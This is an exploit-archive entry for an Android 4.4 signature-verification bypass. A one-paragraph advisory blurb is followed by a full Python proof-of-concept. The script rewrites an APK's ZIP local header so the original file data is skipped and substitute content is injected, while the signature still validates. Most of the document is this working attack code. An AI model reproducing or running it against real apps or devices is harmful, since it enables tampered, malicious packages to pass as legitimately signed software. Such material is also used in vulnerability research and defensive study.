Google Android – Signature Verification Security Bypass
source: https://www.securityfocus.com/bid/63547/info Google Android is prone to a security-bypass vulnerability. Attackers can exploit this issue to bypass certain security restrictions to perform unauthorized actions. This may aid in further attacks. Android 4.4 is vulnerable; other versions may also be affected. #!/usr/bin/python import zipfile import struct import sys # usage: ./pocB.py new.apk old.apk file data zout = zipfile.ZipFile(sys.argv[1], "w") zin = zipfile.ZipFile(sys.argv[2], "r") replace = sys.argv[3] new = open(sys.argv[4], 'r').read() fp = zout.fp for name in zin.namelist(): old = zin.read(name) if name != replace: zout.writestr(name, old, zipfile.ZIP_DEFLATED) else: assert len(new) <= len(old) # write header, old data, and record offset zout.writestr(name, old, zipfile.ZIP_STORED) offset = fp.tell() # return to name length, set to skip old data fp.seek(-len(old) -len(name) -4, 1) fp.write(struct.pack('<h', len(name) + len(old))) # after old data, write new data \0 padded fp.seek(offset) fp.write(new) fp.write('\0' * (len(old) - len(new))) zout.close() zin.close() |